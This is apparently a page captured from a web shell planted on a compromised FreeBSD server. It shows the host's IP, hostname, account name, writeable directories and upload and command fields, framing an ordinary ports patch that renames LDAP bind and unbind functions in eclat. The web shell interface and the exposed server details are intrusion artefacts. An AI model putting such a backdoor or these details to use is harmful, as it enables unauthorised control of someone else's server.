403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/eclat/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/eclat/files/patch-lib_ldapmap.c
--- lib/ldapmap.c.orig	2018-03-16 04:58:17 UTC
+++ lib/ldapmap.c
@@ -201,7 +201,7 @@ ldap_map_free(int dbg, void *data)
 }
 
 
-static void ldap_unbind(LDAP *ld);
+static void eclat_ldap_unbind(LDAP *ld);
 
 static void
 dns2txtacc(struct grecs_txtacc *acc, LDAPURLDesc *lud)
@@ -353,7 +353,7 @@ ldap_connect(int dbg, struct ldap_map *map)
 			ldap_memfree(msg);
 
 			if (map->tls == tls_only) {
-				ldap_unbind(ld);
+				eclat_ldap_unbind(ld);
 				return NULL;
 			}
 			/* try to continue anyway */
@@ -365,7 +365,7 @@ ldap_connect(int dbg, struct ldap_map *map)
 }
 
 static int
-ldap_bind(int dbg, struct ldap_map *map)
+eclat_ldap_bind(int dbg, struct ldap_map *map)
 {
 	int msgid, ec, rc;
 	LDAPMessage *result;
@@ -441,7 +441,7 @@ ldap_bind(int dbg, struct ldap_map *map)
 }
 
 static void
-ldap_unbind(LDAP *ld)
+eclat_ldap_unbind(LDAP *ld)
 {
 	if (ld) {
 		ldap_set_option(ld, LDAP_OPT_SERVER_CONTROLS, NULL);
@@ -515,7 +515,7 @@ ldap_map_open(int dbg, void *data)
 	map->ld = ldap_connect(dbg, map);
 	if (!map->ld)
 		return eclat_map_failure;
-	if (ldap_bind(dbg, map))
+	if (eclat_ldap_bind(dbg, map))
 		return eclat_map_failure;
 	return eclat_map_ok;
 }
@@ -524,7 +524,7 @@ static int
 ldap_map_close(int dbg, void *data)
 {
 	struct ldap_map *map = data;
-	ldap_unbind(map->ld);
+	eclat_ldap_unbind(map->ld);
 	return 0;
 }
 

Youez - 2016 - github.com/yon3zu
LinuXploit